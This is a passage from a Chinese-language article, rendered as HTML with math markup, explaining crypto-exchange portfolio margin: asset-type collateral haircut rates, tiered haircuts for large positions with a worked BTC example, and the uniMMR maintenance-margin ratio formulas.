fill:#ffcdd2</code></pre><p>组合保证金采用突破性的<strong>双重风险定价机制</strong>：既考虑资产本身的风险特征，也考虑持有数量对系统性风险的影响。</p><p><strong>维度一：资产类型风险定价</strong></p><table><thead><tr><th>资产类别</th><th>代表币种</th><th>基础折算率</th><th>风险逻辑</th></tr></thead><tbody><tr><td><strong>稳定币</strong></td><td>USDT/USDC</td><td>99.99%</td><td>价格锚定，流动性充足</td></tr><tr><td><strong>主流币</strong></td><td>BTC/ETH</td><td>95.00%</td><td>波动性适中，市场深度大</td></tr><tr><td><strong>热门币</strong></td><td>BNB/SOL</td><td>90.00%-95.00%</td><td>波动性较高，流动性良好</td></tr><tr><td><strong>中型币</strong></td><td>ADA/DOT</td><td>80.00%-90.00%</td><td>波动性高，流动性一般</td></tr><tr><td><strong>小币种</strong></td><td>其他代币</td><td>10.00%-50.00%</td><td>高波动，流动性风险大</td></tr></tbody></table><p><strong>维度二：数量集中度风险定价</strong></p><p>大额持仓的阶梯式折算体现了对&quot;系统性风险&quot;的深刻理解：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">ff</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ba</span><span class="mord mathnormal mtight">se</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 6.1)</span></span></span></span></span></span></p><p><strong>公式说明：</strong><br>其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 随持有量非线性增长，反映清算成本与市场冲击的关系。</p><p><strong>变量定义：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">ff</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：有效资产折算率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ba</span><span class="mord mathnormal mtight">se</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：基础折算率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：数量衰减系数（与持仓规模相关）</li></ul><p><strong>实际案例：1500万美元BTC持仓的折算</strong></p><ul><li>前100万美元：100万 × 95% = 95万美元有效保证金</li><li>100万-500万美元：400万 × 90% = 360万美元有效保证金</li><li>500万-1500万美元：1000万 × 85% = 850万美元有效保证金</li><li><strong>总有效保证金</strong>：95万 + 360万 + 850万 = 1305万美元</li><li><strong>实际折算率</strong>：1305万 ÷ 1500万 = 87%</li></ul><p>这种设计防止了&quot;大户倾销引发价格崩溃&quot;的连锁反应，是对2022年Luna/UST崩盘等系统性风险事件的深刻反思。</p><h3 id="6-3-统一风险计量：uniMMR的综合计算">6.3 统一风险计量：uniMMR的综合计算</h3><p>统一维持保证金比率（uniMMR）是组合保证金的核心风险指标，它将复杂的多账户、多资产风险浓缩为单一数值：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.363em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">100%</span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 6.2)</span></span></span></span></span></span></p><p><strong>公式说明：</strong><br>uniMMR是统一账户的核心风险指标，表示调整后权益与维持保证金要求的比率。</p><p><strong>分子：调整后权益总和</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 6.3)</span></span></span></span></span></span></p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0497em;vertical-align:-0.2997em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.162em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>（现货权益）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal">n</span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">ze</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>（合约权益）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>（借贷权益）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：开仓亏损（跨资产交易的折算率差异损失）</li></ul><p><strong>分母：维持保证金总和</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 6.4)</span></span></span></span></span></span></p><p><strong>公式说明：</strong><br>维持保证金总和包含所有账户类型的保证金要求，确保风险计算的全面性。</p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span 